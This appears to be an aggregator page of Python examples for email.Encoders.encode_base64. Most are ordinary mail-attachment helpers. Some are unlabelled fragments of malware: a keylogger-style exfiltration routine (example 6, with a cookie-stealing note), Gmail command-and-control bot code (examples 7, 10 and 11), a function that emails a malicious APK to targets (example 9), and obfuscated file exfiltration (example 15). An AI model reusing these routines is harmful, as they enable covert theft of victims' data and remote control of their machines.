本文整理汇总了Python中email.Encoders.encode_base64方法的典型用法代码示例。如果您正苦于以下问题:Python Encoders.encode_base64方法的具体用法?Python Encoders.encode_base64怎么用?Python Encoders.encode_base64使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类email.Encoders
的用法示例。
在下文中一共展示了Encoders.encode_base64方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: attach
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def attach(self, filename, content, content_type=None):
if not self.multipart:
msg = self.new_message()
msg.add_header("Content-Type", "multipart/mixed")
msg.attach(self.message)
self.message = msg
self.multipart = True
import mimetypes
try:
from email import encoders
except:
from email import Encoders as encoders
content_type = content_type or mimetypes.guess_type(filename)[0] or "applcation/octet-stream"
msg = self.new_message()
msg.set_payload(content)
msg.add_header('Content-Type', content_type)
msg.add_header('Content-Disposition', 'attachment', filename=filename)
if not content_type.startswith("text/"):
encoders.encode_base64(msg)
self.message.attach(msg)
示例2: attach
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def attach(self, filename, content, content_type=None):
if not self.multipart:
msg = self.new_message()
msg.add_header("Content-Type", "multipart/mixed")
msg.attach(self.message)
self.message = msg
self.multipart = True
import mimetypes
try:
from email import encoders
except:
from email import Encoders as encoders
content_type = content_type or mimetypes.guess_type(filename)[0] or "application/octet-stream"
msg = self.new_message()
msg.set_payload(content)
msg.add_header('Content-Type', content_type)
msg.add_header('Content-Disposition', 'attachment', filename=filename)
if not content_type.startswith("text/"):
encoders.encode_base64(msg)
self.message.attach(msg)
示例3: mail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def mail(to, subject, text, attach):
msg = MIMEMultipart()
msg['From'] = gmail_user
msg['To'] = to
msg['Subject'] = subject
msg.attach(MIMEText(text))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to, msg.as_string())
# Should be mailServer.quit(), but that crashes...
mailServer.close()
示例4: mail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def mail(to, subject, text, attach):
msg = MIMEMultipart()
msg['From'] = gmail_user
msg['To'] = to
msg['Subject'] = subject
msg.attach(MIMEText(text))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to, msg.as_string())
# Should be mailServer.quit(), but that crashes...
mailServer.close()
示例5: send
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def send(self, data):
"""
Publish some data
@type data: string
@param data: Data to publish
"""
# Build Message Body
msg = MIMEMultipart()
msg['From'] = self.msgFrom
msg['To'] = self.msgTo
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = self.msgSubject
msg.attach(MIMEText(self.msgText))
# Attach file
part = MIMEBase('application', 'pdf')
part.set_payload(data)
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % self.fileName)
msg.attach(part)
# Send email
smtp = smtplib.SMTP(self.server)
smtp.sendmail(self.msgFrom, self.msgTo, msg.as_string())
smtp.close()
示例6: sendData
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def sendData(fname, fext):
attach = "C:\Users\Public\Intel\Logs" + '\\' + fname + fext
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
SERVER = SMTP_SERVER
PORT = 465
USER = userkey
PASS = passkey
FROM = USER
TO = userkey
SUBJECT = "Attachment " + "From --> " + currentuser + " Time --> " + str(ts)
TEXT = "This attachment is sent from python" + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address
message = MIMEMultipart()
message['From'] = FROM
message['To'] = TO
message['Subject'] = SUBJECT
message.attach(MIMEText(TEXT))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
message.attach(part)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER, PORT)
server.ehlo()
server.login(USER, PASS)
server.sendmail(FROM, TO, message.as_string())
server.close()
except Exception as e:
print e
return True
#Fucntion to steal chrome cookies
示例7: sendEmail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]):
if (botid is None) or (jobid is None):
sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
sub_header = 'gdog:{}:{}'.format(botid, jobid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
msgtext = json.dumps({'cmd': cmd, 'arg': arg})
msg.attach(MIMEText(str(infoSec.Encrypt(msgtext))))
for attach in attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
print "[*] Command sent successfully with jobid: {}".format(jobid)
示例8: _send_email
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def _send_email(self, message, attachment=None, subject=None):
try:
# loads credentials and receivers
assert self._is_email_setup, "no credentials"
address, password = self._email_credentials['address'], self._email_credentials['password']
if 'gmail' in address:
smtp_server = "smtp.gmail.com"
else:
raise NotImplementedError
receivers = self._email_credentials['receivers']
# configure default subject
if subject is None:
subject = 'Data Collection Update: {} started on {}'.format(self._robot_name, self._start_str)
# constructs message
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = address
msg['To'] = ', '.join(receivers)
msg.attach(MIMEText(message))
if attachment:
attached_part = MIMEBase('application', "octet-stream")
attached_part.set_payload(open(attachment, "rb").read())
Encoders.encode_base64(attached_part)
attached_part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(attachment))
msg.attach(attached_part)
# logs in and sends
server = smtplib.SMTP_SSL(smtp_server)
server.login(address, password)
server.sendmail(address, receivers, msg.as_string())
except:
logging.getLogger('robot_logger').error('email failed! check credentials (either incorrect or not supplied)')
示例9: do_sms_mail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def do_sms_mail(self):
"""
ATTACH PAYLOAD and send Mail
"""
try:
from email import Encoders
except ImportError as gi:
print self.ERROR_STRING + str(gi)
except:
pass
SUBJECT = self.SUBJECT
ATTACK_MSG_ = MIMEMultipart()
ATTACK_MSG_['Subject'] = (self.SUBJECT + '\n' + self.MAIN_MESSAGE)
ATTACK_MSG_['From'] = self.GMAIL
ATTACK_MSG_['To'] = ', '.join(self.TARGET)
extension = '.apk'
final_load = self.PAYLOAD_NAME + extension
part = MIMEBase('application', "octet-stream")
part.set_payload(open(str(final_load), "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'
% str(final_load))
ATTACK_MSG_.attach(part)
try:
self.smtp.sendmail(self.GMAIL, self.TARGET, ATTACK_MSG_.as_string())
print self.INFO_STRING + " Sent Payload Successfully!"
self.IS_SENT = True
except:
print self.ERROR_STRING + " An Unknown Error Occured"
sys.exit(1)
示例10: run
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def run(self):
sub_header = uniqueid
if self.jobid:
sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
elif self.checkin:
sub_header = 'checkin:{}'.format(uniqueid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
msg.attach(MIMEText(str(message_content)))
for attach in self.attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
while True:
try:
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
break
except Exception as e:
#if verbose == True: print_exc()
time.sleep(10)
示例11: sendEmail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]):
if (botid is None) or (jobid is None):
sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
sub_header = 'gcat:{}:{}'.format(botid, jobid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
msgtext = json.dumps({'cmd': cmd, 'arg': arg})
msg.attach(MIMEText(str(msgtext)))
for attach in attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
print "[*] Command sent successfully with jobid: {}".format(jobid)
示例12: enviaEmail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def enviaEmail(servidor, porta, FROM, PASS, TO, subject, texto, anexo=[]):
global saida
servidor = servidor
porta = porta
FROM = FROM
PASS = PASS
TO = TO
subject = subject
texto = texto
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = subject
msg.attach(MIMEText(texto))
for i in anexo:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(i, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition','attachment;filename="%s"'% os.path.basename(i))
msg.attach(part)
try:
gm = smtplib.SMTP(servidor,porta)
gm.ehlo()
gm.starttls()
gm.ehlo()
gm.login(FROM, PASS)
gm.sendmail(FROM, TO, msg.as_string())
gm.close()
except Exception,e:
mensagemErro = "Erro ao enviar o e-mail." % str(e)
print '%s' % mensagemErro
# E-mail addressee.
示例13: _create_mime_attachment
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def _create_mime_attachment(self, content, mimetype):
"""
Converts the content, mimetype pair into a MIME attachment object.
"""
basetype, subtype = mimetype.split('/', 1)
if basetype == 'text':
encoding = self.encoding or settings.DEFAULT_CHARSET
attachment = SafeMIMEText(smart_str(content, encoding), subtype, encoding)
else:
# Encode non-text attachments with base64.
attachment = MIMEBase(basetype, subtype)
attachment.set_payload(content)
Encoders.encode_base64(attachment)
return attachment
示例14: sendmail
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def sendmail(subject, to, sender, body, mailserver, body_type="html", attachments=None, cc=None):
"""Send an email message using the specified mail server using Python's
standard `smtplib` library and some extras (e.g. attachments).
NOTE: This function has no authentication. It was written for a mail server
that already does sender/recipient validation.
WARNING: This is a non-streaming message system. You should not send large
files with this function!
NOTE: The body should include newline characters such that no line is greater
than 990 characters. Otherwise the email server will insert newlines which
may not be appropriate for your content.
http://stackoverflow.com/a/18568276
"""
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = ', '.join(to)
if cc:
msg['Cc'] = ", ".join(cc)
else:
cc = []
msg.attach(MIMEText(body, body_type))
attachments = attachments or []
for attachment in attachments:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(attachment, "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachment))
msg.attach(part)
server = smtplib.SMTP(mailserver)
server.sendmail(sender, to + cc, msg.as_string()) # pragma: no cover
示例15: sendData
# 需要导入模块: from email import Encoders [as 别名]
# 或者: from email.Encoders import encode_base64 [as 别名]
def sendData(self, fname, fext):
attach = fname + fext
print '[*] Sending data %s ' %(attach)
self.obfusdata(attach)
attach = attach + '.dsotm'
ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
SERVER = "smtp.gmail.com"
PORT = 465
USER = userkey
PASS = passkey
FROM = USER
TO = userkey
SUBJECT = "Attachment " + "From --> " + curentuser + " Time --> " + str(ts)
TEXT = "There's someone in my head, but it's not me." + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address
message = MIMEMultipart()
message['From'] = FROM
message['To'] = TO
message['Subject'] = SUBJECT
message.attach(MIMEText(TEXT))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
message.attach(part)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER, PORT)
server.ehlo()
server.login(USER, PASS)
server.sendmail(FROM, TO, message.as_string())
server.close()
except Exception as e:
error_code = str(e).split('(')[1].split(',')[0]
print e
if error_code == '535':
print e
return True